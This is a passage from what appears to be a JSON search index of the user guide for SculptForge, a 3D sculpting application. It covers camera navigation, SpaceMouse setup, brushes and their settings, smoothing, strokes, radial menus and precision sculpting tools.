and which display toggles help while you sculpt."},{"p":"navigation.html","c":"Navigating the view","a":"how-the-camera-works","h":"How the camera works","t":"The camera orbits around a target point. By default rotation is free: dragging turns the model about the screen's own axes, so it follows the cursor and can roll right over the top. Hold Shift while rotating to snap to the nearest front, back, side, top or bottom view; let go of Shift and the drag carries on from where the cursor is. If you prefer the model to stay upright, as in Blender or Maya, set Edit > Preferences > Interface > Rotation to Turntable: sideways drags then turn the model around its vertical axis and up-down drags tilt it, stopping just short of looking straight down or up. Panning moves the target; zooming moves the camera closer to it or further away. The view is a perspective view with a 35 degree field of view, or orthographic (Numpad 5): no foreshortening, so sizes don't shrink with depth. The front, side and top views (Numpad 1, 3, 7) switch to orthographic until you rotate again, as in Blender. The X / Y / Z gizmo in the top left of the canvas (Sculpt > Draw & Tablet > Camera > Axes) shows the world axes as the camera sees them. Click an end to look from that side, as in Blender: X the right view, Y the top, Z the front, and the plain dot at the other end of each axis the left, bottom or back view. These are orthographic like the numpad views. The end under the pointer gets a ring. Sculpt > Draw & Tablet > Camera > Gizmo size makes the axes Small, Medium (the default) or Large; they grow with the UI scale too, and clicking an end works at every size. View Figure (beside Axes, off until you turn it on) adds a small shaded head in the corner that turns with the camera, so you can tell front from back at a glance. Click it to look from the nearest side: the front, back, left, right, top or bottom view, orthographic like the axes. Navigation starts only on the canvas. A drag that begins on a shelf, a tray or a palette never moves the camera. Blender: with Edit > Preferences > Input > Style on Blender, middle-drag rotates, Shift+middle-drag pans and Ctrl+middle-drag zooms. With a pen or a trackpad, Alt+left-drag beside the model does the same (add Shift to pan, anywhere; Ctrl to zoom); on the model it masks, as in Blender 5.1 and later. Turn on Edit > Preferences > Input > Emulate 3 Button Mouse to make Alt+left-drag turn the view everywhere, as that Blender preference does. The numpad views, Numpad . and Home frame as in Blender. See Blender keys."},{"p":"navigation.html","c":"Navigating the view","a":"mouse-and-pen","h":"Mouse and pen","t":"To Do this Rotate Left-drag on the background, or right-drag anywhere on the canvas; add Shift to snap to an axis view Roll (turn about the view axis) Shift+click the background, let go of Shift, then drag Pan Alt+left-drag on the background, Alt+right-drag, or middle-drag Zoom Mouse wheel; Alt+left-drag on the background, then let go of Alt and keep dragging; Ctrl+right-drag; Ctrl+middle-drag; Ctrl+left-drag on the background when nothing is masked (not with the Classic sculpting keys) Frame the model F (Blender style: Home), or Frame on the right shelf Front, right, top view Numpad 1, Numpad 3, Numpad 7; Ctrl for the back, left and bottom Front, side, top or bottom view with the mouse Click an end of the axis gizmo in the canvas corner Orthographic on or off Numpad 5 Turn in 15 degree steps Numpad 4 / Numpad 6 (around), Numpad 8 / Numpad 2 (over); Numpad 9: the other side Frame the active Part Numpad . Frame one Part Shift+Alt+click it, or triple-click another Part (it becomes the active Part) Sculpt from the background Turn on Edit > Preferences > Input > Start strokes off the model, View > Lock camera, or press Shift+L: a left-drag that starts beside the model sculpts once it reaches the surface Move the camera with Space held Turn on Edit > Preferences > Input > Hold Space and drag to move the camera, then hold Space: left-drag rotates, right- or middle-drag pans, Ctrl+drag zooms, anywhere on the canvas (on the model too) Zoom drags: drag up to come closer, down to back away. With the Classic sculpting keys (Edit > Preferences > Input) they go: drag up to zoom out, down to zoom in. Hold Space and drag to move the camera is off by default, because with the Classic sculpting keys Space opens the Quick Menu. With it on, Space no longer opens the Quick Menu (a right click still does), and a space typed in a text field is never taken. Start strokes off the model (also View > Lock camera) is off by default. With it on (a label at the top of the canvas says so, and in the SculptForge layout the status bar shows CAMERA LOCKED), a left-drag on the background no longer rotates: it waits, and the brush starts where the cursor first reaches the model, so strokes that begin at the silhouette never turn the view by accident. Ctrl (mask) and Shift (smooth) strokes start the same way, and a Ctrl+click on the background still inverts the mask. To move the view, right-drag (a pen's lower button is a right click by default), Alt+drag to pan, middle-drag, or hold Space if Hold Space and drag to move the camera is on; with the Blender or Maya style, Alt+left-drag rotates as before. With a pen that has no buttons and the Classic or SculptForge style, press Shift+L to turn it off while you rotate, or turn on Hold Space. Mask Lasso, Mask Rectangle and the Ctrl+Shift hide and show shapes work as before. \"Background\" means any part of the canvas where the cursor isn't over the model. A left-drag that starts on the model sculpts instead, so with a pen or a one-button mouse, start rotations beside the model. When the model fills the view, zoom out a little or use the right-shelf buttons. Note: Ctrl+left-drag on the background clears the mask when something is masked (and Ctrl+click there inverts it); while nothing is masked it zooms (with the Classic sculpting keys it draws a mask rectangle instead). Use the wheel or Ctrl+middle-drag to zoom on a masked model. See Masking. On macOS, Cmd works wherever this guide says Ctrl for these gestures, except Ctrl+middle-drag, which needs Ctrl itself."},{"p":"navigation.html","c":"Navigating the view","a":"the-right-shelf-navigation-buttons","h":"The right-shelf navigation buttons","t":"The right shelf has three buttons you drag on rather than click. They are handy with a pen, on a laptop trackpad, or when the model fills the canvas and there is no background to drag on. The right shelf: Frame, Move, Zoom and Rotate, then the display toggles Button Drag on it to Frame (click) Fit the whole scene in the view (F) Move Pan the view Zoom Zoom: drag up to come closer, down to move away Rotate Orbit the view The button stays orange while you drag. Frame is also in the View menu and Sculpt > Symmetry & Gizmo."},{"p":"navigation.html","c":"Navigating the view","a":"spacemouse-experimental","h":"SpaceMouse (experimental)","t":"A 3Dconnexion SpaceMouse lets one hand move the view while the other holds the pen. SculptForge reads it directly as a USB device, without 3Dconnexion's driver or SDK, so this is experimental: it has been tested with simulated input only, not yet with a real SpaceMouse. Tell us how it works with yours (GitHub issue #6). Plug it in and it works: Edit > Preferences > Input shows its name under SpaceMouse (experimental), with live bars for its six axes. The model moves the way you move the cap, and turns about the same point the mouse orbits around (the camera's target: Frame sets it to the scene's centre, and panning moves it). Move the cap The view Push left / right Pans left / right Pull up / push down Pans up / down Pull towards you / push away Zooms in / out Twist Turns the model around Tilt towards you / away Tips the model's top towards you / away Roll left / right Rolls the model on screen (not with Lock rotation to turntable) Left side button Frame Right side button Front view The speed is the same whatever the frame rate: holding the cap for a second turns the model just as far on a slow machine as on a fast one. It works in every input style (SculptForge, classic, Blender, Maya) and while a stroke is held: the stroke keeps going, sculpting wherever the pen points on the turned model. Many people stop moving the pen while they turn the view, and that works best, but you don't have to. Edit > Preferences > Input > SpaceMouse: Use SpaceMouse: off ignores it completely, buttons too. Speed: how fast the view moves for the same push. Dead zone: how far the cap must move before anything happens (8% by default), so a hand resting on it doesn't drift the view. The live bars turn orange once an axis is past it. Lock rotation to turntable: the model stays upright; twisting turns it about the world's up axis and rolling the cap does nothing. Dominant axis: only the direction you push the most moves the view, so a twist doesn't also pan a little. Invert: reverse any of the six moves (Pan X, Zoom, Pan Y, Tilt, Roll, Spin). If a direction feels wrong on your model of SpaceMouse, flip it here. Left button, Right button (and Button 3 onwards on models with more): Frame, Frame Part, the axis views, Orthographic, Undo, Redo or Nothing. SpaceMouse defaults puts everything back. Store Config (Ctrl+Shift+I) keeps these settings. If SculptForge doesn't see it (Preferences says \"No SpaceMouse found\"): Windows: 3Dconnexion's driver, 3DxWare, can keep the device to itself, and may also move the view on its own as it does in other programs. Quit 3DxWare (its tray icon, or stop the 3DxService service in Task Manager > Services), unplug the SpaceMouse and plug it back in. Without 3DxWare, Windows treats the SpaceMouse as a game controller, which is how SculptForge reads it. If SculptForge sees the SpaceMouse with 3DxWare running, give the buttons a job in only one of the two places, or one press does two things. macOS: the same applies to 3DxWare for Mac: quit it (or uninstall it) and plug the SpaceMouse in again. Linux: if spacenavd is running, it normally opens the device exclusively. SculptForge may still list the SpaceMouse but get no motion from it. Stop it while you sculpt (sudo systemctl stop spacenavd). SculptForge reads the device through /dev/input as a joystick: that works when the kernel reports the cap's axes as absolute axes, which is how joysticks work. If the kernel reports them as relative motion, as it does for some older models, the SpaceMouse doesn't show up at all. Reading it through spacenavd isn't supported yet. If it shows up but the view doesn't move (the live bars stay still when you push the cap), another program holds the device: quit 3DxWare (or spacenavd on Linux) as above, then unplug and plug the SpaceMouse back in. To report a problem, open Edit > Preferences > Input > SpaceMouse and click Copy device report (shown until the cap has moved the view): it puts every joystick SculptForge sees on the clipboard, with its"},{"p":"navigation.html","c":"Navigating the view","a":"framing","h":"Framing","t":"Frame (F) points the camera at the centre of the scene and moves it back until everything fits: every visible Part, plus the Gaussian splats when they are shown. SculptForge frames the scene for you when you open a file or start from a new primitive. Use it after panning far away, or when a model comes in at an unusual scale."},{"p":"navigation.html","c":"Navigating the view","a":"display-toggles-that-help-navigation","h":"Display toggles that help navigation","t":"These live on the right shelf and in the View menu: Wire (Shift+F): shows the polygons of the active Part over the surface, PolyFrame. Quads show as quads (see Quads and triangles). Useful for judging mesh density before you subdivide or remesh. Groups: colours each face group. Mask: darkens masked areas. Paint: shows vertex paint colours (off shows the plain material). Solo: shows only the active Part, to get at parts hidden behind others. Show Mesh (View menu): hides the sculpt, for example to look at a splat capture on its own. Fullscreen (F11) and hiding the shelves (Tab) give the canvas the most room. See The interface."},{"p":"navigation.html","c":"Navigating the view","a":"not-yet","h":"Not yet","t":"Not yet: SculptForge has no rotation around the point under the cursor (the camera always orbits its target, which Frame sets to the scene centre), no floor grid and no saved camera views. Pan the target onto the area you're working on to orbit around it."},{"p":"navigation.html","c":"Navigating the view","a":"see-also","h":"See also","t":"The interface Keyboard and mouse Sculpting and brushes"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"","h":"Sculpting and brushes","t":"This chapter covers everything that happens when you drag a brush across a model: the built-in brushes and the custom brushes that ship with SculptForge, brush size and strength, modifier keys, stroke types, alphas, symmetry and pen pressure. To design your own brushes, see Brush Lab and sharing brushes. Sculpting the lion head with X symmetry"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"your-first-stroke","h":"Your first stroke","t":"Pick a brush: click it on the bottom shelf, press its number key, or press B to open the brush picker. Left-drag on the model. The brush works on the surface under the cursor. Hold Alt while dragging to invert the brush (dig in instead of building up), or hold Shift to smooth. Press Ctrl+Z to undo a stroke, Ctrl+Shift+Z (or Ctrl+Y) to redo it. Each Part keeps its own history of up to about 1 GB; the oldest steps are dropped beyond that. Dragging on the background never sculpts: it rotates the view (see Navigation). The brush only works on the active Part, and only on parts that are visible and not masked. A stroke that started on the model keeps sculpting when it slides past the edge of a form seen in profile, as long as the brush circle still covers the model: the brush holds on to the silhouette (#84)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"built-in-brushes","h":"Built-in brushes","t":"SculptForge has nineteen sculpting brushes plus the Paint brush. The first ten have number keys; all of them are on the bottom shelf by default and in the brush picker. Brush Key What it does With Alt Standard 1 Raises the surface along the stroke, the all-purpose brush. Digs in Clay 2 Builds up clay that fills the hollows first, with a slightly flat top. Intensity and pen pressure set how fast it builds. Carves away Smooth 3 Relaxes the surface, evening out bumps. The same brush Shift gives you. No change Move 4 Grabs the surface under the cursor and pulls it along, parallel to the screen. No change Inflate 5 Swells the surface outward along its normals. Deflates Crease 6 Cuts a sharp crease and pinches its sides in. Raises a ridge Flatten 7 Presses the surface toward a plane through the brush area. Pushes away from the plane Pinch 8 Pulls the surface toward the stroke to tighten edges. Spreads it apart Sharp Crease 9 A narrow, deep V-shaped crease with the sides pinched in. A sharp ridge Clay Block 0 Square, flat-topped clay strokes for blocking in forms. Carves flat-bottomed Tendril Pulls the surface out into horns and tendrils that taper as you drag. No change Trim Trim: shaves away everything above a plane for hard surfaces. Fills up to the plane Layer Raises the surface to one fixed height per stroke; overlapping passes never stack. Lowers to a fixed depth Nudge Slides the surface sideways along the stroke without lifting it. No change VDM Stamps a vector displacement map, overhangs and all (see below). Digs the shape in KelvinGrab Elastic move: drags the surface like real clay, with no falloff edge (see Kelvinlet brushes). No change KelvinTwist Press and drag right to turn the surface clockwise around that point, left to turn it back. Turns the other way KelvinScale Press and drag left to pinch the surface toward that point, right to swell it. The other way Elastic Tendril An elastic Tendril: smooth horns and tendrils that taper as they stretch. No change DetailClone Paints copies of a captured detail (the VDM brush's map) along the stroke, each turned to follow it. Digs them in Morph Pulls the surface back toward the morph target, a selection set with its shape (Selection sets). Does nothing until you pick one. Pushes away from it Paint P Paints colour without sculpting. See Vertex Paint and materials. Paints back to white Notes on particular brushes: Move, Tendril and the Kelvinlet brushes (except Detail Clone) move the surface with the cursor instead of placing dabs, so stroke types (Dots, Spray and so on) don't apply to them. Layer sets its height from the brush size and Intensity. Pen pressure lowers the height when Pressure > Strength is on, so you can feather the edge of a layer. Trim gives crisp planes on cylinders and edges. Use it with Front on when you work on thin shapes."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"custom-brushes-that-ship-with-sculptforge","h":"Custom brushes that ship with SculptForge","t":"Besides the built-in brushes, SculptForge ships seven custom brushes. They are recipes: data that you can open and change in Brush Lab. They appear in the Custom section of the brush picker and in Sculpt > Brush > Custom brushes. Brush What it does Wrinkle Fine, sharp creases for skin folds and fabric wrinkles. Palette Knife Flattens and drags clay sideways like a sculptor's knife. Dragon Scales Stamps rounded overlapping scales along the stroke. Stone Chisel Scrapes hard planes and breaks them up with cracks for rocks and ruins. Skin Pores Sprinkles tiny pores for close-up skin detail. Clay Slab Builds up flat-topped strokes of clay for blocking in forms. Edge Wear Chips and softens only the sharp edges and ridges, for weathered props. Custom brushes respond to Alt, Shift, the mask, symmetry and the stroke settings just like built-in ones. Their thumbnails carry a small sparkle when you put them on the bottom shelf."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"pick-a-brush","h":"Pick a brush","t":"You can choose a brush in several places: Bottom shelf: click a tile. The active brush is outlined in the accent colour and the number key is shown in the corner of each tile. Number keys: 1 to 9 and 0 pick the first ten built-in brushes (see the table above); P toggles the Paint brush. Brush tile at the top of the left shelf: click it to open the brush picker beside it. Sculpt > Brush: the same grid of thumbnails, with a filter field, plus your custom brush list. Command palette (F3): type the brush name and press Enter."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"the-brush-picker","h":"The brush picker","t":"Press B to open the brush picker under the mouse. It shows a Recent row (once you have picked brushes), then Built-in, Custom and Library sections. The Library section lists .sfbrush files in the Brushes folder of your Library library that aren't loaded yet; picking one loads it. The brush picker after pressing B, with letter badges The picker works, by typing letters: Press B. Type the first letter of the brush. Only brushes starting with that letter stay, and each shows a highlighted key badge: the next letter that tells it apart from the others. Press the letter on the badge to pick that brush. For example B, S, T picks Standard, and with the brushes that ship, B, C, L picks Clay. If no brush name starts with what you typed, the picker falls back to names that contain it. Backspace removes the last letter, Enter picks the first match, and Esc or a click outside closes the picker. The letter chips along the top (A 2, C 4 ...) show how many brushes start with each letter; click one to filter by it. Hover a tile for a large preview and the brush's description. Right-click a tile for Add to bottom shelf, and on custom brushes also Copy brush code, Rename..., Save as .sfbrush..., Delete... and Reveal in folder (see Brush Lab and sharing brushes)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"draw-size-intensity-rgb-intensity-and-falloff","h":"Draw Size, Intensity, RGB Intensity and Falloff","t":"These values control every brush. Draw Size and Intensity are on the top shelf; all four are in Sculpt > Draw & Tablet and the Quick Menu. Setting Range Default How to change it Draw Size 2 to 800 60 Brush radius in screen pixels. [ and ] make it 10% smaller or larger (hold to repeat). S opens a slider at the cursor. Intensity 1 to 100 50 How strongly each dab changes the surface. U opens a slider at the cursor. RGB Intensity 1 to 100 100 How strongly painting colours the surface (the Paint brush, and sculpting with Rgb on). I opens a slider at the cursor. Falloff -100 to 100 0 The brush falloff. Below 0 the full-strength centre widens into a broad, hard tip; above 0 it narrows to a soft point. O opens a slider at the cursor. Because Draw Size is measured on screen, the brush covers less of the model as you zoom in, which is what you want for detail work. The brush cursor shows two rings: the outer one is the Draw Size, the inner one is Falloff (where the brush works at half strength). Masking, painting, Move and Tendril follow Falloff too. Custom brushes made in Brush Lab and Clay Block's square tip keep their own tip shape at 0 and shift it like the others. With an alpha, Falloff works: the alpha is multiplied by the round falloff. At -100 the whole alpha shows, hard to its edges (a Square alpha stamps the full square); at 0 the falloff softens it and rounds a square's corners; at +100 only a soft point in the middle is left. Over the model, the rings lie on the surface: true circles in the plane of the surface under the pointer, at the brush's real size there, with a short line pointing out of the surface. The plane follows the form averaged over the whole brush, so the rings stay round and steady over fine bumps and detail. With symmetry on (mirror or radial), a dot shows where each copy of the brush lands. Off the model the rings are flat circles. Edit > Preferences > Cursor: Cursor follows surface (on by default) switches back to flat rings everywhere, and Hide ring while stroking (off by default) shows only the dot while a stroke runs. The crosshair pointer stays while you turn the view. The S, U, I and O pop-ups take the mouse or the keyboard: drag the slider and release to close it, or type a number and press Enter (a minus first for a negative Falloff). Esc closes the pop-up without typing anything new."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"each-brush-keeps-its-own-settings","h":"Each brush keeps its own settings","t":"Every brush remembers its own Draw Size, Intensity, Falloff, RGB Intensity, stroke and alpha. That includes custom and Community brushes. Set up a small, sharp crease brush and a big Clay brush, and each one comes back the way you left it when you switch between them. A brush you haven't used yet in the session starts from the values you have now, so nothing jumps. Sculpt > Brush > Save Brush Settings keeps the current brush's values for every new session (in brush-settings.json, in SculptForge's user data folder). Sculpt > Brush > Reset Brush to Default puts the current brush back to the values SculptForge ships with and forgets what you saved for it. Edit > Preferences > Input > Share size and intensity across brushes (off by default) keeps Draw Size and Intensity the same for every brush, as before 0.10.8. Falloff, RGB Intensity, the stroke and the alpha still follow each brush."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"smooths-own-intensity","h":"Smooth's own Intensity","t":"Smooth keeps an Intensity of its own, so a gentle Standard stroke at 10 still smooths at full speed. Hold Shift (or pick the Smooth brush) and the Intensity slider shows Smooth Intensity: change it there, or hold Shift and press U. It starts at 50."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"smooth-that-keeps-the-volume","h":"Smooth that keeps the volume","t":"The plain smooth evens out bumps by pulling each point towards its neighbours, so with every pass the form shrinks a little too: a cheek flattens, a sphere gets smaller. The other smooth keeps the volume: it removes the bumps but leaves the form where it is (a Taubin smooth, one step in and a slightly larger one back out). Alternate smooth: start a stroke with Shift held, then let go of Shift while still pressing. The rest of the stroke uses the other smooth, and the status line says which. Smooth keeps volume in Sculpt > Brush makes the volume-keeping smooth the one Shift and the Smooth brush use; letting go of Shift mid-stroke then switches to the plain one. Saved with the project."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"smooth-face-group-borders","h":"Smooth face group borders","t":"Smooth face group borders only in Sculpt > Brush turns Smooth (and Shift) into a border straightener: only the points on a border between face groups move, each along the surface toward its neighbours on the border, so a jagged edge (a cuff, a collar, the hem of a shirt, a panel line) becomes a clean line while the rest of the model stays where it is. Corners where three or more groups meet stay put. Group the clothing first (for example Group masked after masking it), then brush over the edge. Saved with the project (#81). On a micro level (see Micro levels) Smooth is always the plain one for now. On a quad mesh (after Quad Remesh, or an imported quad model) Smooth follows the quads' own edges, never their diagonals, so the quads keep their shape (#69). Sculpt > Draw & Tablet"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"sculpt-paint-add-sub-rgb-and-front","h":"Sculpt, Paint, Add, Sub, Rgb and Front","t":"These toggles sit on the top shelf and in Sculpt > Draw & Tablet: Control What it does Sculpt / Paint Sculpt makes brushes change the shape. Paint (P) paints colour only. Add / Sub Add makes brushes add (the default), Sub makes them subtract. Alt flips the current choice for one stroke. Rgb Sculpt brushes also paint the current colour as they sculpt. Front Front faces only: brushes leave the far side of thin parts alone, such as the back of an ear or a cape. Sculpt > Brush has the same Front and invert settings as the checkboxes Front faces only and Invert (Alt)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"falloff-options","h":"Falloff options","t":"Two more checkboxes in Sculpt > Brush change what a brush reaches, as Blender's proportional editing does (from the discussions). Both work with every sculpt brush, recipes, VDM stamps, masking and vertex paint, and are saved with the preferences and the project (custom brushes can turn them on for themselves in the Brush Lab): Option What it does Connected only The brush only moves the surface joined to the point under the cursor, within the brush size. Inflate a finger and the next finger stays as it is; Move one leg and the other doesn't follow, however close they are. View falloff The falloff is measured on screen, across the view: everything inside the brush circle is reached, through the model and out the back, as a cylinder along the view. Add Connected only to keep it to the piece under the cursor. Kelvinlet brushes keep their own elastic falloff, and the Gizmo's falloff eases in from the mask's edge rather than from a brush centre, so these options don't apply to them. On a 10-million-vertex Part a dab that moves half a million vertices takes about 10 ms, and about 16 ms with Connected only."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"modifier-keys-while-sculpting","h":"Modifier keys while sculpting","t":"Hold Effect Alt Inverts the brush for this stroke (see the table of brushes). For Move, Tendril, Elastic Tendril and KelvinGrab, which have nothing to invert, it moves the surface along the normal instead (below). Shift (before the stroke) Smooths with the Smooth brush, whatever brush is active, at Smooth's own Intensity. With the Paint brush active, Shift still smooths the shape. Shift (after the stroke started) Draws a straight line from where you pressed Shift, snapped to 45 degree steps on screen. Let go of Shift to carry on freehand. Ctrl Paints a mask instead of sculpting; Ctrl+Alt erases it. A Ctrl+click without dragging blurs the mask (Ctrl+Alt+click sharpens it). See Masking. Ctrl+Shift Visibility gestures: isolate, hide and show face groups. See Face Groups and visibility."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"along-the-normal","h":"Along the normal","t":"Move, Tendril, Elastic Tendril and KelvinGrab normally move the surface across the screen. Hold Alt as you start the stroke (Ctrl in the Blender and Maya styles, where that key inverts) and the surface moves along the average normal under the brush where you pressed instead (from the discussions): drag out and it pulls straight out of the surface, drag back and it pushes straight in, however the view is turned. When the normal points right at you, drag up to pull it out. Edit > Preferences > Input > Along the normal can make it Always (no key needed, handy with a pen) or Never."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"the-quick-menu","h":"The Quick Menu","t":"Press Space for the Quick Menu under the cursor: the Brush, Stroke, Alpha and Material tiles, Draw Size, Falloff, Intensity and RGB Intensity, Add / Sub, Sculpt / Paint, Rgb and X symmetry. Hold Space and let go to close it again (it stays while the pointer is on it), or tap Space to keep it open until you click elsewhere or press Esc. Clicking a tile opens its picker. A right click on the canvas opens it too: press the right button and let go without moving, beside the model or on it, and the Quick Menu stays open at the cursor. A right drag still turns the view (and pans or zooms with Alt or Ctrl), and a pen button set to Right click (Edit > Preferences > Tablet) works the same way. Turn it off with Edit > Preferences > Input > Right click opens the Quick Menu."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"radial-menus","h":"Radial menus","t":"Radial (pie) menus put the tools you use most around the cursor. Hold a menu's key, flick the pointer toward an item and let go: it runs. Let go in the middle and nothing happens. Tap the key instead and the pie stays open: click an item, or click in the middle or press Esc to close it. Three menus are built in: Key Menu Items T Brushes Standard, Clay Block, Move, Sharp Crease, Inflate, Pinch, Flatten, Tendril Y Masking Invert Mask, Mask Lasso, Clear Mask, Mask Rectangle, Mask All, Mask Pen, View Mask, Group Masked J Strokes Dots, Drag Stamp, Slide Stamp, Spray, Lazy Stroke (see Strokes) All three keys are free in every input style. Installs that stored their radial menus before 0.10.9 get the Strokes menu from Restore default menus in Edit > Preferences > Input > Radial Menus. Make your own in Edit > Preferences > Input > Radial Menus (up to 8 menus of 8 items each): + adds a menu and opens a search for its first item. An item can be anything the command palette (F3) finds: a brush, a tool, a command or a toggle. Click an item to give it your own label and icon, or Change action. The arrows reorder items (the first points up, the rest go clockwise); the cross removes one. Key sets the key that opens the menu (it is an ordinary shortcut, so Edit > Preferences > Hotkeys lists it too). The button next to it can also open the menu while held: the middle, right, back or forward mouse button, or one of the pen's side buttons. That button then stops doing what it did before (a pen button's Edit > Preferences > Tablet mapping, the middle button's pan, the right button's turn). A mouse button opens the menu only with no modifier key held (#74): Alt+middle still pans, Alt+right still zooms in the Maya style, and Shift+right-drag still turns the view, so a menu on the right button never leaves you without a way to turn it (the panel says how). Export... saves the menu as a small .json file to share; Import... loads one. A menu file holds only action names, never anything that runs: names this version doesn't know are left out. Restore default menus brings back Brushes and Masking. Store Config (Ctrl+Shift+I) keeps your menus."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"whole-part-deformations","h":"Whole-Part deformations","t":"Tool > Deformation has four operations that work on the whole active Part at once, each with its amount beside it (from the discussions). The mask holds what it covers (partly masked areas move partly), hidden faces and open borders stay where they are, and each is one undo step: Operation What it does Polish Flattens fine noise and small bumps while flat areas and sharp edges stay sharp: a scan's grain, or the ripples a voxel remesh leaves on a hard-surface piece. Relax Evens out the spacing of the vertices along the surface without changing its shape, for areas a big Move or Tendril stretched. Smooth Smooths everything; with Smooth keeps volume it doesn't shrink the form. Balloon Fills the form out toward a rounder volume, like blowing into it (experienced sculptors: Inflate Balloon). A negative amount lets the air out. They are commands too: deform_polish amount=60, deform_relax, deform_smooth amount=30 keep_volume=true, deform_balloon amount=-20 (add masked=false to ignore the mask). On a 10-million-vertex Part at amount 50, Smooth takes about 0.5 s, Balloon 0.7 s, Relax 0.9 s and Polish 2 s (Apple M1 Pro)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"strokes","h":"Strokes","t":"The stroke type decides how cursor movement becomes brush dabs. Choose it from the Stroke tile on the left shelf, which opens the stroke picker, or from Sculpt > Stroke. The stroke picker Stroke What it does Setting Dots Even dabs along the path: the classic brush stroke (default). None; spacing comes from the brush. Drag Stamp Click and drag one stamp: the drag length sets its size and its direction the rotation. Great with alphas. None Slide Stamp Click and drag one stamp of the brush's Draw Size: it slides over the surface under the cursor and lands where you let go. Great for VDMs. None Spray Scattered dabs of random size, strength and rotation, for organic texture. Scatter (0 to 2, default 1): how far dabs land from the cursor, as a fraction of the brush size. Lazy Stroke Dots with Steady Stroke on: the brush trails the cursor on a string, for smooth, steady lines. Steady radius (1 to 300 px, default 40): longer is steadier. Scatter appears under the stroke tiles when Spray is selected. Steady Stroke works with every stroke type; see Precision work. Continuous, under the stroke tiles in the stroke picker and in Sculpt > Stroke, keeps the brush working while you hold it still on the model (30 dabs a second), with any stroke type. Notes: With Drag Stamp, the stamp is placed where you first click. While you drag, it is redrawn at the new size and angle, and it is committed when you release. With Slide Stamp, the stamp appears under the cursor at once and follows it while you drag; the mesh under it goes back to how it was as it moves on. Mask strokes (Ctrl) always use dots, even when Drag Stamp or Slide Stamp is selected. Custom brushes set their own dab spacing and can add jitter (see Brush Lab)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"the-stroke-popup","h":"The stroke popup","t":"Press G (Z in the Blender style) for a grid under the cursor, or click the grid button under the Stroke tile on the left shelf. The top row holds the stroke types, then come the modifiers and the shapes: Modifier What it does Instead of holding Add / Sub Brushes add to or subtract from the surface (the same switch as Add / Sub on the top shelf). Alt Smooth Strokes smooth. Shift Mask Strokes paint the mask (Alt or Ctrl unmasks). Ctrl Select Strokes draw the selection (hide) shape. Ctrl+Shift Shapes pick how Mask and Select draw: Mask Pen, Mask Lasso and Mask Rect turn Mask on with that shape, Cut Line, Cut Lasso, Cut Rect and Cut Polyline turn Select on with that Cut shape. A plain drag then masks or cuts with it, no keys held (with a mask shape, Ctrl+drag unmasks; Tool > Cut still sets Away, In, Add or Clip). The label next to the brush cursor names the shape. Pick it again to go back to sculpting. Hold and let go: hold G, move over an item and let go. It opens with your current stroke under the pointer, so letting go without moving changes nothing. A pen hovering over the tablet works the same. Tap and click: tap G and the grid stays open. Click a stroke to pick it (the grid closes); click a modifier to switch it (the grid stays open, so you can set a stroke too). Esc or a click beside the grid closes it. The click never touches the model. Smooth, Mask and Select stay on until you pick the same one again or pick another brush. A small label next to the brush cursor shows which one is on. Dragging beside the model still turns the view. The Strokes radial menu (J, see Radial menus) picks a stroke type too; the popup adds the modifiers and shows every choice at once. Change the key in Edit > Preferences > Hotkeys (Stroke popup), or hold Ctrl+Alt and click the shelf button, then press the new key."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"precision-work","h":"Precision work","t":"Pores, wrinkles, jewellery and hard-surface trims need a brush that goes exactly where you mean, at exactly the size you mean. These tools work with every brush and every stroke type. Steady Stroke (L, or the checkbox in the stroke picker). The brush trails the cursor on a string and only moves once the string is taut, so hand shake never reaches the surface. It works with Dots, Drag Stamp, Slide Stamp and Spray. The viewport draws the string and a faint circle of its length. Steady radius sets the length (longer is steadier). Catch up on release (on by default) finishes the line to where the cursor is when you let go; turn it off to end the line a string's length behind. World Size (Sculpt > Draw & Tablet). Draw Size is normally in screen pixels, so the brush gets smaller on the model as you zoom in. With World Size on, the size is kept in model units instead: a 0.4 mm pore brush stays 0.4 mm whether you are looking at the whole head or one eyelid. Every Draw Size slider shows both numbers, for example Draw Size 12 px 0.40 mm; the mm figure is the brush radius on the surface under the cursor (a model unit is a metre, as when exporting for 3D printing). Finer size control. Do this Change [ / ] 10% smaller / larger Shift+[ / Shift+] 1 px smaller / larger (0.5 px below 2 px) Ctrl+Shift+right-drag Scrub the size finely: 100 px to the right is about 1.5 times larger Draw Size goes down to 0.5 px. Small brushes space their dabs closer together, so a 1 px stroke is still one continuous line, and the cursor adds a small cross so you can see where a tiny brush is. The size, in px and mm, shows next to the cursor for a moment after it changes (all the time with World Size on). Precision drag (Shift+Alt, held while drawing). Start the stroke, then hold Shift+Alt: the brush moves at a quarter of the pen's speed, drawn as a blue ring with a line back to the pen, and works at Precision Intensity (stroke picker, default 10). Let go and the brush glides back under the pen as you keep moving; it never jumps. Hold the keys after the stroke has started: at the press, Shift+Alt still selects and frames a Part, and in the Blender style Alt+click still navigates. The same works in every input style. A pressure curve for each brush. Every brush keeps its own pen pressure curve, applied after the tablet's curve. Edit it in Brush Lab (under the recipe sliders) or in Edit > Preferences > Tablet (under the tablet's curve); both edit the brush you are holding. Drag a point, double-click the curve to add one (up to 5), right-click a point to remove it. The presets are Soft, Linear, Firm and Fine detail: Fine detail keeps light pressure very light and tops out below full strength, for pores and fine lines. Curves are saved as you change them. Accuracy. The brush centre sits exactly under the cursor at any zoom and on HiDPI screens (to a fraction of a pixel), and the surface point under the brush is lightly filtered, so strokes on very dense meshes don't wobble with every tiny bump. A real step in the surface is followed at once."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"alphas","h":"Alphas","t":"An alpha is a 